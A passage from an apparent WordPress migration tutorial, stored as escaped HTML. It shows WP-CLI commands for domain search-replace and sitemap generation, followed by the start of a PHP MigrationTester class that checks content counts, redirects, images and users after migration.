class=\"wp-block-paragraph\"><em># Update search indexes<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp search-replace &#8216;oldsite.com&#8217; &#8216;newsite.com&#8217; &#8211;dry-run<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp search-replace &#8216;oldsite.com&#8217; &#8216;newsite.com&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Generate XML sitemap<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp plugin install google-sitemap-generator &#8211;activate<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp sitemap generate<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Optimization complete!&#8221;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Comprehensive Testing Framework<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ migration-tester.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class MigrationTester {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $testResults = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function runAllTests() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testContentIntegrity();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testURLRedirects();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testImageMigration();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testUserMigration();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testSEOData();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testPerformance();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $this-&gt;generateReport();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testContentIntegrity() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Testing content integrity&#8230;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Count posts in both systems<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sourceCount = $this-&gt;getSourceContentCount();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpCount = $this-&gt;getWordPressContentCount();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;content_count&#8217;] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;source&#8217; =&gt; $sourceCount,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;wordpress&#8217; =&gt; $wpCount,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status&#8217; =&gt; $sourceCount === $wpCount ? &#8216;PASS&#8217; : &#8216;FAIL&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Test content quality<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testContentQuality();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testContentQuality() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$posts = get_posts([&#8216;numberposts&#8217; =&gt; 10, &#8216;post_status&#8217; =&gt; &#8216;publish&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$qualityIssues = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($posts as $post) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = $post-&gt;post_content;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Check for broken shortcodes<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (preg_match(&#8216;\/\\{[^}]*\\}\/&#8217;, $content)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$qualityIssues[] = &#8220;Post {$post-&gt;ID}: Contains unmigrated shortcodes&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Check for broken image references<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (preg_match(&#8216;\/src=&#8221;[^&#8221;]*oldsite\\.com[^&#8221;]*&#8221;\/&#8217;, $content)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$qualityIssues[] = &#8220;Post {$post-&gt;ID}: Contains old domain image references&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Check for empty content<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strlen(strip_tags($content)) &lt; 50) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$qualityIssues[] = &#8220;Post {$post-&gt;ID}: Content too short or empty&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;content_quality&#8217;] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;issues&#8217; =&gt; $qualityIssues,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status&#8217; =&gt; empty($qualityIssues) ? &#8216;PASS&#8217; : &#8216;WARN&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testURLRedirects() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Testing URL redirects&#8230;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$testUrls = $this-&gt;getTestUrls();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$redirectResults = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($testUrls as $oldUrl =&gt; $expectedNewUrl) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$response = $this-&gt;testRedirect($oldUrl);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$redirectResults[$oldUrl] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;expected&#8217; =&gt; $expectedNewUrl,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;actual&#8217; =&gt; $response[&#8216;location&#8217;] ?? &#8216;No redirect&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status_code&#8217; =&gt; $response[&#8216;status_code&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;pass&#8217; =&gt; $response[&#8216;status_code&#8217;] === 301 &amp;&amp; $response[&#8216;location&#8217;] === $expectedNewUrl<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;redirects&#8217;] = $redirectResults;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testRedirect($url) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ch = curl_init();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_URL, $url);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_HEADER, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_NOBODY, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$response = curl_exec($ch);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preg_match(&#8216;\/Location: (.*)\/&#8217;, $response, $matches);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$location = isset($matches[1]) ? trim($matches[1]) : null;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_close($ch);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status_code&#8217; =&gt; $statusCode,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;location&#8217; =&gt; $location<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testImageMigration() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Testing image migration&#8230;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$images = get_posts([<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;post_type&#8217; =&gt; &#8216;attachment&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;post_mime_type&#8217; =&gt; &#8216;image&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;numberposts&#8217; =&gt; 50<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$imageResults = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;total_images&#8217; =&gt; count($images),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;broken_images&#8217; =&gt; 0,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;missing_thumbnails&#8217; =&gt; 0<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($images as $image) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$imagePath = get_attached_file($image-&gt;ID);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!file_exists($imagePath)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$imageResults[&#8216;broken_images&#8217;]++;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$metadata = wp_get_attachment_metadata($image-&gt;ID);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (empty($metadata[&#8216;sizes&#8217;])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$imageResults[&#8216;missing_thumbnails&#8217;]++;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;images&#8217;] = $imageResults;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testUserMigration() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Testing user migration&#8230;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$users = get_users([&#8216;number&#8217; =&gt; 100]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$userIssues = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($users as $user) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Check for duplicate usernames<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$duplicates = get_users([&#8216;search&#8217; =&gt; $user-&gt;user_login]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (count($duplicates) &gt; 1) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$userIssues[] = &#8220;Duplicate username: {$user-&gt;user_login}&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Check for missing email addresses<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (empty($user-&gt;user_email)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$userIssues[] = &#8220;Missing email for user: {$user-&gt;user_login}&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;users&#8217;] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;total_users&#8217; =&gt; count($users),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;issues&#8217; =&gt; $userIssues,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status&#8217; =&gt; empty($userIssues) ? &#8216;PASS&#8217; : &#8216;WARN&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testSEOData() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Testing SEO data migration&#8230;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$posts = get_posts([&#8216;numberposts&#8217; =&gt; 20]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$seoIssues = [];<\/em><\/p>\n\n\n\n<p 